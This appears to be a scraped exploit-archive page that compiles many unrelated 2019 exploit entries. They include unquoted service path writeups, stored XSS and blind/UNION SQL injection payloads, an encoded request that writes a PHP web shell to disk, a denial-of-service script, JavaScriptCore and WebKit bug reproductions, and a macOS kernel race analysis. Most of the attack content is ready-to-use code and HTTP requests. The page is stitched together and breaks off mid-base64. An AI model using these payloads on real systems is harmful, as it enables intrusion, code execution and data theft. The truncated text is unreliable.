ISHACK AI BOT

# Exploit Title: Blue Stacks App Player 2.4.44.62.57 - "BstHdLogRotatorSvc" Unquote Service Path # Date: 2019-11-09 # Exploit Author: Diego Armando Buztamante Rico # Vendor Homepage: www.bluestacks.com # Software Link: www.bluestacks.com # Version: 2.4.44.62.57 # Tested on: Windows 8.1 Pro # CVE: NA #Description #Blue Stacks is an application which allows to run mobile apps on Windows and Mac. #The service BstHdLogRotatorSvc is use to allow HD displays of Blue Stacks app. #The service suffers from an unquoted path. #PoC using CMD #Command to discover the unquoted path: C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /V "C:\Windows" | findstr /i /V """" #As a result we have BlueStacks Log Rotator Service BstHdLogRotatorSvc C:\Program Files (x86)\Bluestacks\HD-LogRotatorService.exe Auto #We use the name of service to get its information using next command. C:\Users\user>sc qc BstHdLogRotatorSvc [SC] QueryServiceConfig CORRECTO NOMBRE_SERVICIO: BstHdLogRotatorSvc TIPO : 10 WIN32_OWN_PROCESS TIPO_INICIO : 2 AUTO_START CONTROL_ERROR : 1 NORMAL NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Bluestacks\HD-LogRotatorService.exe GRUPO_ORDEN_CARGA : ETIQUETA : 0 NOMBRE_MOSTRAR : BlueStacks Log Rotator Service DEPENDENCIAS : NOMBRE_INICIO_SERVICIO: LocalSystem

# Exploit Title: thrsrossi Millhouse-Project 1.414 - 'content' Persistent Cross-Site Scripting # Date: 2019-11-01 # Exploit Author: Cakes # Vendor Homepage: https://github.com/thrsrossi/Millhouse-Project # Software Link: https://github.com/thrsrossi/Millhouse-Project.git # Version: 1.414 # Tested on: CentOS 7 # CVE: N/A # PoC for this XSS attack POST /includes/add_comment_sql.php HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://TARGET/views/single_post.php?post_id=53 Content-Type: application/x-www-form-urlencoded Content-Length: 59 Cookie: PHPSESSID=0sqr9kui308rq66ol1uu5olb94; submenu1=block; showips=10; showurls=10; showreferers=10 Connection: close Upgrade-Insecure-Requests: 1 DNT: 1 content=%3Cscript%3Ealert%28%22TEST%22%29%3B%3C%2Fscript%3E

# Exploit Title: Network Inventory Advisor 5.0.26.0 - 'niaservice' Unquoted Service Path # Date: 2019-11-04 # Exploit Author: Samuel DiazL # Vendor Homepage: https://www.network-inventory-advisor.com/ # Software Link: https://www.network-inventory-advisor.com/download.html # Version: 5.0.26.0 # Tested on: Microsoft Windows 10 Enterprise x64 ESP # CVE: N/A # Description: # Network Inventory Advisor installs niaservice as a service with an unquoted service path C:\Users\SD502812>sc qc niaservice [SC] QueryServiceConfig CORRECTO NOMBRE_SERVICIO: niaservice TIPO : 10 WIN32_OWN_PROCESS TIPO_INICIO : 2 AUTO_START CONTROL_ERROR : 0 IGNORE NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\ClearApps\Network Inventory Advisor\niaservice.exe GRUPO_ORDEN_CARGA : ETIQUETA : 0 NOMBRE_MOSTRAR : Network Inventory Advisor Service by ClearApps Software DEPENDENCIAS : NOMBRE_INICIO_SERVICIO: LocalSystem

# Exploit Title: rimbalinux AhadPOS 1.11 - 'alamatCustomer' SQL Injection # Date: 2019-11-01 # Exploit Author: Cakes # Vendor Homepage: https://github.com/rimbalinux/AhadPOS # Software Link: https://github.com/rimbalinux/AhadPOS.git # Version: 1.11 # Tested on: CentOS 7 # CVE: N/A # PoC for time-based and boolean based blind SQL injection # Parameter: alamatCustomer (POST) # Type: time-based blind # Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) # Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) Payload: namaCustomer=test&alamatCustomer=test'||(SELECT 0x4b686f74 FROM DUAL WHERE 8368=8368 AND (SELECT 9520 FROM (SELECT(SLEEP(5)))gtad))||'&telpCustomer=12312345&keterangan=tester # Parameter: barcode (POST) # Type: boolean-based blind # Title: OR boolean-based blind - WHERE or HAVING clause # Vector: OR [INFERENCE] Payload: barcode=-3529' OR 4127=4127-- HRDC&jumBarang=1&btnTambah=(t) Tambah # Type: time-based blind # Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) # Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) Payload: barcode=123' AND (SELECT 1256 FROM (SELECT(SLEEP(5)))Nhnk)-- zXsC&jumBarang=1&btnTambah=(t) Tambah

# Exploit Title: FileOptimizer 14.00.2524 - Denial of Service (PoC) # Date: 2019-11-04 # Exploit Author: Chase Hatch (SYANiDE) # Vendor Homepage: https://sourceforge.net/projects/nikkhokkho/ # Software Link: https://sourceforge.net/projects/nikkhokkho/files/FileOptimizer/14.00.2524/FileOptimizerSetup.exe/download # Version: 14.00.2524 # Tested on: Windows 7 Ultimate x86 SP0 # CVE : none ## Steps to reproduce ## Open application for the first time so it generates "FileOptimizer32.ini" in the install directory ## Run the PoC ## Open FileOptimizer again, navigating to "Optimize" / "Options". ## Click OK to crash #! /usr/bin/env python import os, sys, re test="TempDirectory=" # variable/str in config file to replace with buffer dir = "C:\\Program Files\\FileOptimizer\\" file = "FileOptimizer32.ini" sploit = "A"*5000 temp = open(dir+file,'r').read() temp2 = re.sub(test, test + sploit, temp) with open(dir+file,'w') as F: F.write(temp2) F.close()

# Exploit Title: html5_snmp 1.11 - 'Remark' Persistent Cross-Site Scripting # Date: 2019-11-01 # Exploit Author: Cakes # Vendor Homepage: https://github.com/lolypop55/html5_snmp # Software Link: https://github.com/lolypop55/html5_snmp.git # Version: 1.11 # Tested on: CentOS 7 # CVE: N/A # PoC POST /add_router_operation.php HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://TARGET/add_router.php Content-Type: application/x-www-form-urlencoded Content-Length: 128 Cookie: submenu1=block; showips=10; showurls=10; showreferers=10; PHPSESSID=9m6bv15esubafglv5cnbcha421 Connection: close Upgrade-Insecure-Requests: 1 DNT: 1 Router_ID=ID&Router_Name=Name&Router_IP=IP&String=STRING&Remark=%3Cscript%3Ealert%28%22test5%22%29%3B%3C%2Fscript%3E&Submit=Save

# Exploit Title: html5_snmp 1.11 - 'Router_ID' SQL Injection # Date: 2019-11-01 # Exploit Author: Cakes # Vendor Homepage: https://github.com/lolypop55/html5_snmp # Software Link: https://github.com/lolypop55/html5_snmp.git # Version: 1.11 # Tested on: CentOS 7 # CVE: N/A # PoC for error, time, boolean and Union based SQL Injection # Parameter: Router_ID (POST) # Type: error-based # Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) # Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) Payload: Router_ID=123' AND (SELECT 9724 FROM(SELECT COUNT(*),CONCAT(0x716a7a7071,(SELECT (ELT(9724=9724,1))),0x71717a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'aJYp'='aJYp&Router_Name=123&Router_IP=123&String=123&Remark=123&Submit=Save # Type: time-based blind # Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) # Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) Payload: Router_ID=123' AND (SELECT 7074 FROM (SELECT(SLEEP(5)))hDkA) AND 'koRt'='koRt&Router_Name=123&Router_IP=123&String=123&Remark=123&Submit=Save # Parameter: Router_IP (GET) # Type: boolean-based blind # Title: AND boolean-based blind - WHERE or HAVING clause # Vector: AND [INFERENCE] Payload: Router_IP=192.168.0.1' AND 3390=3390-- yUHk # Type: time-based blind # Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) # Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) Payload: Router_IP=192.168.0.1' AND (SELECT 2831 FROM (SELECT(SLEEP(5)))SwFp)-- VukE # Type: UNION query # Title: Generic UNION query (NULL) - 5 columns # Vector: UNION ALL SELECT NULL,NULL,NULL,[QUERY],NULL[GENERIC_SQL_COMMENT] Payload: Router_IP=192.168.0.1' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a787071,0x4f4f4e6c58704e78566b76576358564c4e5145575543435658706d4e50476d6a6c65505366497571,0x7170717671),NULL-- BEdT # Pop a Shell :-) GET /get_router_show.php?Router_IP=%27%20%55%4e%49%4f%4e%20%41%4c%4c%20%53%45%4c%45%43%54%20%30%78%33%33%63%33%66%37%30%36%38%37%30%32%30%32%34%36%33%36%64%36%34%32%30%33%64%32%30%37%33%36%38%36%35%36%63%36%63%35%66%36%35%37%38%36%35%36%33%32%38%32%34%35%66%34%37%34%35%35%34%35%62%32%37%36%33%36%64%36%34%32%37%35%64%32%39%33%62%32%30%36%35%36%33%36%38%36%66%32%30%32%34%36%33%36%64%36%34%33%62%32%30%33%66%33%65%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%2c%4e%55%4c%4c%20%49%4e%54%4f%20%44%55%4d%50%46%49%4c%45%20%27%2f%76%61%72%2f%77%77%77%2f%73%6e%6d%70%30%31%2f%75%70%6c%6f%61%64%73%2f%65%78%65%63%2e%70%68%70%27%2d%2d%20%44%52%74%66 HTTP/1.1 Host: Target User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://Target/get_router.php Cookie: PHPSESSID=ii1kfjgplci8vbfep3ius67353 Connection: close Upgrade-Insecure-Requests: 1 DNT: 1 Cache-Control: max-age=0

# Exploit Title: SD.NET RIM 4.7.3c - 'idtyp' SQL Injection # Date: 2019-11-05 # Exploit Author: Fabian Mosch (r-tec IT Security GmbH) # Vendor Homepage: https://www.sitzungsdienst.net/ # Software Link: https://www.sitzungsdienst.net/2018/12/sd-net-rim-4-7-3-veroeffentlicht/ # Version: < 4.7.3c # Tested on: < 4.7.3c # CVE : N/A # SD.NET RIM before version 4.7.3c is vulnerable to a SQL-Injection vulnerability. To Exploit the vulnerability # an attacker has to inject arbitrary SQL Statements in the following POST parameters: POST /vorlagen/?__=SOMEBASE64 HTTP/1.1 Host: VulnerableHost.com User-Agent: Mozilla/5.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 182 Origin: https://vulnerablehost.com Connection: close Referer: https://vulnerablehost.com/vorlagen/?__=BASE64 Cookie: PHPSESSID250=SESSIONID Upgrade-Insecure-Requests: 1 reqid=f48de4c24ae1b72dd37ebde6f6b40544&nummer=t&idtyp=-1’INJECTHERE&idgremium=-1’INJECTHERE&datefrom=TT.MM.JJJJ&dateto=TT.MM.JJJJ&csrftoken=CSRFToken # The attacker is then redirected with a 302 redirect to an URL /templates/?__=NEWBASE64 as GET request. # By issuing the second request the arbitrary SQL-Statement gets executed.

The following sample was found by Fuzzilli and then slightly modified. It crashes JSC in debug builds: function main() { const v2 = [1337,1337]; const v3 = [1337,v2,v2,0]; Object.__proto__ = v3; for (let v10 = 0; v10 < 1000; v10++) { function v11(v12,v13) { const v15 = v10 + 127; const v16 = String(); const v17 = String.fromCharCode(v10,v10,v15); const v19 = Object.shift(); function v23() { let v28 = arguments; } const v29 = Object(); const v30 = v23({},129); const v31 = [-903931.176976766,v17,,,-903931.176976766]; const v32 = v31.join(""); try { const v34 = Function(v32); const v35 = v34(); for (let v39 = 0; v39 < 127; v39++) { const v41 = isFinite(); let v42 = isFinite; function v43(v44,v45,v46) { } const v47 = v41[4]; const v48 = v47[64]; const v49 = v35(); const v50 = v43(); const v51 = v34(); } } catch(v52) { } } const v53 = v11(); } } noDFG(main); noFTL(main); main(); Crashes with: ASSERTION FAILED: cell->inherits(*cell->JSC::JSCell::vm(), std::remove_pointer<T>::type::info()) ../../Source/JavaScriptCore/runtime/WriteBarrier.h(58) : void JSC::validateCell(T) [T = JSC::JSFunction *] 1 0x108070cb9 WTFCrash 2 0x103907f0b WTFCrashWithInfo(int, char const*, char const*, int) 3 0x106c0900f void JSC::validateCell<JSC::JSFunction*>(JSC::JSFunction*) 4 0x106c0275f JSC::WriteBarrierBase<JSC::JSFunction, WTF::DumbPtrTraits<JSC::JSFunction> >::set(JSC::VM&, JSC::JSCell const*, JSC::JSFunction*) 5 0x10705a727 JSC::DirectArguments::setCallee(JSC::VM&, JSC::JSFunction*) 6 0x107084753 operationCreateDirectArgumentsDuringExit 7 0x4d8af2e06484 8 0x4d8af2e034c3 9 0x1078661b7 llint_entry 10 0x107848f70 vmEntryToJavaScript 11 0x107740047 JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) 12 0x10773f650 JSC::Interpreter::executeProgram(JSC::SourceCode const&, JSC::ExecState*, JSC::JSObject*) 13 0x107a9afc5 JSC::evaluate(JSC::ExecState*, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) 14 0x1039549a6 runWithOptions(GlobalObject*, CommandLine&, bool&) 15 0x10392a10c jscmain(int, char**)::$_4::operator()(JSC::VM&, GlobalObject*, bool&) const 16 0x103909aff int runJSC<jscmain(int, char**)::$_4>(CommandLine const&, bool, jscmain(int, char**)::$_4 const&) 17 0x103908893 jscmain(int, char**) 18 0x10390880e main 19 0x7fff79ad63d5 start The assertion indicates a type confusion. In particular, setCallee stores a JSCell into a WriteBarrier<JSFunction> which is not actually a JSFunction, triggering this assertion. Below is my preliminary analysis of the bug. When DFG compiles v11, it decides to inline v23 and the isFinite function. The relevant parts of the resulting DFG graph (with many omissions) follow: # Inlined v23 2 0: --> v23#EOpuso:<0x1078a43c0, bc#222, Call, closure call, numArgs+this = 3, numFixup = 0, stackOffset = -26 (loc0 maps to loc26)> 38 2 0: 207:< 1:-> GetScope(Check:Untyped:@169, JS|PureInt, R:Stack(-23), bc#1, ExitValid) 39 2 0: 208:<!0:-> MovHint(Check:Untyped:@207, MustGen, loc30, R:Stack(-23), W:SideState, ClobbersExit, bc#1, ExitValid) 40 2 0: 209:< 1:-> SetLocal(Check:Untyped:@207, loc30(QC~/FlushedJSValue), R:Stack(-23), W:Stack(-31), bc#1, exit: bc#222 --> v23#EOpuso:<0x1078a43c0> (closure) bc#3, ExitValid) predicting None 44 2 0: 213:< 1:-> CreateDirectArguments(JS|PureInt, R:Stack,Stack(-23),HeapObjectCount, W:HeapObjectCount, Exits, ClobbersExit, bc#7, ExitValid) 45 2 0: 214:<!0:-> MovHint(Check:Untyped:@213, MustGen, loc32, R:Stack(-23), W:SideState, ClobbersExit, bc#7, ExitInvalid) 46 2 0: 215:< 1:-> SetLocal(Check:Untyped:@213, loc32(SC~/FlushedJSValue), R:Stack(-23), W:Stack(-33), bc#7, exit: bc#222 --> v23#EOpuso:<0x1078a43c0> (closure) bc#9, ExitValid) predicting None 2 0: <-- v23#EOpuso:<0x1078a43c0, bc#222, Call, closure call, numArgs+this = 3, numFixup = 0, stackOffset = -26 (loc0 maps to loc26)> 4 0: Block #4 (bc#317): (OSR target) 24 4 0: 322:< 1:-> JSConstant(JS|PureInt, Weak:Object: 0x1078e4000 with butterfly 0x18052e8408 (Structure %C0:global), StructureID: 40546, bc#347, ExitValid) 27 4 0: 325:< 1:-> SetLocal(Check:Untyped:@322, loc30(DE~/FlushedJSValue), W:Stack(-31), bc#347, exit: bc#354, ExitValid) predicting None # Inlined isFinite() 4 0: --> isFinite#DJEgRe:<0x1078a4640 (StrictMode), bc#362, Call, known callee: Object: 0x1078cfd50 with butterfly 0x0 (Structure %Cm:Function), StructureID: 63290, numArgs+this = 1, numFixup = 1, stackOffset = -38 (loc0 maps to loc38)> 37 4 0: 335:< 1:-> JSConstant(JS|PureInt, Undefined, bc#0, ExitValid) 38 4 0: 336:<!0:-> MovHint(Check:Untyped:@322, MustGen, loc32, W:SideState, ClobbersExit, bc#0, ExitValid) 41 4 0: 339:< 1:-> SetLocal(Check:Untyped:@322, loc32(FE~/FlushedJSValue), W:Stack(-33), bc#0, ExitValid) predicting None Note that some bytecode registers (locX) are reused to hold different values in this code. The DFGPhantomInsertionPhase is responsible for identifying bytecode registers (locX) that have to be recovered during a bailout and placing Phantom nodes into the IR to ensure the required DFG values are alive so the bytecode registers can be restored from them. When the DFGPhantomInsertionPhase phase runs on this code and wants to determine the values needed for a bailout somewhere at the start of the try block, it decides that loc32 would have to be restored as it is assigned above but still used further down (in the inlined code of isFinite). As such, it inserts a Phantom node. When the bailout then actually happens (presumably because the `new Function()` fails), loc32 is attempted to be restored (by then, CreateDirectArguments has been replaced by a PhantomCreateDirectArguments which doesn't actually create the arguments object unless a bailout happens), resulting in a call to operationCreateDirectArgumentsDuringExit. This call requires the value of `callee` as argument. As such, the callee value is reconstructed as well. In the inlined callframe, the callee value is expected to be stored in loc30 (I think). However, by the time the bailout happens, loc30 has been reused, in this case by storing the global object into it. As such, the code that recovers the values (incorrectly) restores the callee value to the global object and passes it to operationCreateDirectArgumentsDuringExit. When this reference is then stored into a WriteBarrier<JSFunction> during a call to setCallee, an assertion is raised in debug builds. It is not clear to me at which point a different decision should have been made here. Unfortunately, it is quite tedious to manually modify this sample as most changes to it will quickly break the specific bytecode register allocation outcome required to trigger the bug. I could imagine this bug to be exploitable if the invalid callee value is somehow subsequently accessed by code, e.g. user supplied code, the GC, or other parts of the engine that inspect bytecode registers, and assumed to be a JSFunction*. However, I have not verified that this is possible.

VULNERABILITY DETAILS ``` bool JSObject::putInlineSlow(ExecState* exec, PropertyName propertyName, JSValue value, PutPropertySlot& slot) { ASSERT(!isThisValueAltered(slot, this)); VM& vm = exec->vm(); auto scope = DECLARE_THROW_SCOPE(vm); JSObject* obj = this; for (;;) { unsigned attributes; PropertyOffset offset = obj->structure(vm)->get(vm, propertyName, attributes); // ***1*** if (isValidOffset(offset)) { if (attributes & PropertyAttribute::ReadOnly) { ASSERT(this->prototypeChainMayInterceptStoreTo(vm, propertyName) || obj == this); return typeError(exec, scope, slot.isStrictMode(), ReadonlyPropertyWriteError); } JSValue gs = obj->getDirect(offset); if (gs.isGetterSetter()) { // We need to make sure that we decide to cache this property before we potentially execute aribitrary JS. if (!structure(vm)->isDictionary()) slot.setCacheableSetter(obj, offset); bool result = callSetter(exec, slot.thisValue(), gs, value, slot.isStrictMode() ? StrictMode : NotStrictMode); // ***2*** RETURN_IF_EXCEPTION(scope, false); return result; } if (gs.isCustomGetterSetter()) { // We need to make sure that we decide to cache this property before we potentially execute aribitrary JS. if (attributes & PropertyAttribute::CustomAccessor) slot.setCustomAccessor(obj, jsCast<CustomGetterSetter*>(gs.asCell())->setter()); else slot.setCustomValue(obj, jsCast<CustomGetterSetter*>(gs.asCell())->setter()); bool result = callCustomSetter(exec, gs, attributes & PropertyAttribute::CustomAccessor, obj, slot.thisValue(), value); RETURN_IF_EXCEPTION(scope, false); return result; } ASSERT(!(attributes & PropertyAttribute::Accessor)); // If there's an existing property on the object or one of its // prototypes it should be replaced, so break here. break; } [...] JSValue prototype = obj->getPrototype(vm, exec); RETURN_IF_EXCEPTION(scope, false); if (prototype.isNull()) break; obj = asObject(prototype); } ``` This is an extension of https://bugs.chromium.org/p/project-zero/issues/detail?id=1240. `putInlineSlow` and `putToPrimitive` now call the access-checked `getPrototype` method instead of `getPrototypeDirect`. However, they still use `Structure::get` directly[1], which bypasses access checks implemented in functions that override `JSObject::put`. Thus, an attacker can put a cross-origin object into the prototype chain of a regular object and trigger the invocation of a cross-origin setter. If the setter raises an exception while processing the passed value, it's possible to leak the exception object and gain access to, e.g., another window's function constructor. Since this issue is only exploitable when a victim page defines a custom accessor property on the `location` object, its practical impact is minimal. VERSION WebKit revision 247430 Safari version 12.1.1 (14607.2.6.1.1) REPRODUCTION CASE <body> <script> frame = document.body.appendChild(document.createElement('iframe')); frame.src = `data:text/html, <h1>secret data</h1> <script> location.__defineSetter__('foo', function(value) { alert('Received value: ' + value); }); </s` + `cript>`; function turnLeakedExceptionIntoUXSS(object) { try { object.foo = {toString: function() { return {} } }; } catch (e) { let func = e.constructor.constructor; func('alert(document.body.innerHTML)')(); } } frame.onload = () => { // putInlineSlow turnLeakedExceptionIntoUXSS({__proto__: frame.contentWindow.location}); // putToPrimitive num = 1337; num.__proto__.__proto__ = frame.contentWindow.location; turnLeakedExceptionIntoUXSS(num); } </script> </body>

# Exploit Title: QNAP NetBak Replicator 4.5.6.0607 - 'QVssService' Unquoted Service Path # Discovery Date: 2019-11-05 # Exploit Author: Ivan Marmolejo # Vendor Homepage: https://www.qnap.com/en/ # Software Link: https://www.qnap.com/en/download # Version: 4.5.6.0607 # Vulnerability Type: Local # Tested on: Windows XP Profesional Español SP3 #Exploit ############################################################################################################################################## Summary: QNAP NetBak Replicator provides several options for copying files from your Windows computer to your NAS. By simplifying the backup process, NetBak Replicator helps ensure that your files are safe even when your computer becomes unavailable. Description: The application suffers from an unquoted search path issue impacting the service 'QVssService'. This could potentially allow an authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system. A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user’s code would execute with the elevated privileges of the application. ############################################################################################################################################## Step to discover the unquoted Service: C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """ QNAP Vss Service QVssService C:\Archivos de programa\QNAP\NetBak\QVssService.exe Auto ############################################################################################################################################## Service info: C:\Users\user>sc qc QVssService [SC] QueryServiceConfig SUCCESS SERVICE_NAME: QVssService TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Archivos de programa\QNAP\NetBak\QVssService.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : QNAP Vss Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem ##############################################################################################################################################

# Exploit Title: Wacom WTabletService 6.6.7-3 - 'WTabletServicePro' Unquoted Service Path # Discovery by: Marcos Antonio León (psk) # Discovery Date: 2019-11-04 # Vendor Homepage: https://www.wacom.com # Software Link : http://cdn.wacom.com/U/drivers/IBMPC/pro/WacomTablet_637-3.exe # Tested Version: 6.3.7.3 # Vulnerability Type: Unquoted Service Path # Tested on OS: Windows 10 Home x64 es # Step to discover Unquoted Service Path: C:\>sc qc WTabletServicePro [SC] QueryServiceConfig CORRECTO NOMBRE_SERVICIO: WTabletServicePro TIPO : 10 WIN32_OWN_PROCESS TIPO_INICIO : 2 AUTO_START CONTROL_ERROR : 1 NORMAL NOMBRE_RUTA_BINARIO: C:\Program Files\Tablet\Wacom\WTabletServicePro.exe GRUPO_ORDEN_CARGA : PlugPlay ETIQUETA : 0 NOMBRE_MOSTRAR : Wacom Professional Service DEPENDENCIAS : NOMBRE_INICIO_SERVICIO: LocalSystem #Exploit: A successful attempt would require the local attacker must insert an executable file in the path of the service. Upon service restart or system reboot, the malicious code will be run with elevated privileges.

On macOS, when a new mount point is created, the kernel uses checkdirs() to, as a comment above the function explains: "Scan all active processes to see if any of them have a current or root directory onto which the new filesystem has just been mounted. If so, replace them with the new mount point." In other words, XNU behaves as follows: $ hdiutil attach ./mount_cwd.img -nomount /dev/disk2 $ cd mnt $ ls -l total 0 -rw-r--r-- 1 projectzero staff 0 Aug 6 18:05 underlying $ mount -t msdos -o nobrowse /dev/disk2 . $ ls -l total 0 -rwxrwxrwx 1 projectzero staff 0 Aug 6 18:04 onfat $ (This is different from e.g. Linux, where the cwd would still point to the directory on the root filesystem that is now covered by the mountpoint, and the second "ls -l" would show the same output as the first one.) checkdirs() uses proc_iterate() to execute checkdirs_callback() on each running process. checkdirs_callback() is implemented as follows: ====================================================== static int checkdirs_callback(proc_t p, void * arg) { struct cdirargs * cdrp = (struct cdirargs * )arg; vnode_t olddp = cdrp->olddp; vnode_t newdp = cdrp->newdp; struct filedesc *fdp; vnode_t tvp; vnode_t fdp_cvp; vnode_t fdp_rvp; int cdir_changed = 0; int rdir_changed = 0; /* * XXX Also needs to iterate each thread in the process to see if it * XXX is using a per-thread current working directory, and, if so, * XXX update that as well. */ proc_fdlock(p); fdp = p->p_fd; if (fdp == (struct filedesc *)0) { proc_fdunlock(p); return(PROC_RETURNED); } fdp_cvp = fdp->fd_cdir; fdp_rvp = fdp->fd_rdir; proc_fdunlock(p); if (fdp_cvp == olddp) { vnode_ref(newdp); tvp = fdp->fd_cdir; fdp_cvp = newdp; cdir_changed = 1; vnode_rele(tvp); } if (fdp_rvp == olddp) { vnode_ref(newdp); tvp = fdp->fd_rdir; fdp_rvp = newdp; rdir_changed = 1; vnode_rele(tvp); } if (cdir_changed || rdir_changed) { proc_fdlock(p); fdp->fd_cdir = fdp_cvp; fdp->fd_rdir = fdp_rvp; proc_fdunlock(p); } return(PROC_RETURNED); } ====================================================== `p->p_fd` contains the current working directory (`->fd_cdir`) and root directory (`->fd_rdir`) of the process; it is protected against modification by proc_fdlock()/proc_fdunlock(). Because checkdirs_callback() does not hold that lock across the entire operation, several races are possible; for example: - If `fdp->fd_cdir == olddp` is true and `fdp->fd_cdir` changes between the read `tvp = fdp->fd_cdir;` and the second `proc_fdlock(p);`, `vnode_rele(tvp);` will release a nonexistent reference, leading to reference count underflow. - If `fdp->fd_cdir == olddp` is true and the process calls chroot() between the first locked region and the second locked region, a dangling pointer will be written back to `fdp->fd_rdir`. I have written a simple reproducer for the first scenario; however, since the race window is quite narrow, it uses dtrace to make the race easier to hit (so you have to turn off SIP). To prepare an empty FAT32 filesystem and the PoC: ====================================================== Projects-Mac-mini:mount_cwd projectzero$ base64 -D | gunzip > mount_cwd.img H4sIAI3cSV0CA+3TLUsEcRAH4PUQlBMPk2Dyj82yoNmgQZsv4bQIwsrt6XLn7nG75cDgR/BziEls ghiu3rewXTGa1C0GszafZwZm4NcGZrp1e9XrlnE3qaLG7EzUqGv+vRGFaDv6dhOtb40fxgeH4WBn fzfU9nbaG5v1bK0+n17fr71UCyePrae5aLJ0Nn3bfJ0sT1amH+3LrAx150UVknBeFFVy3k9DJyt7 cQhH/TQp05DlZTr8kXf7xWAwCkneWWwOhmlZ1uso9NJRqIpQDevkIsnyEMdxWGxG/Mbx3fvnpzPA P+X/AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 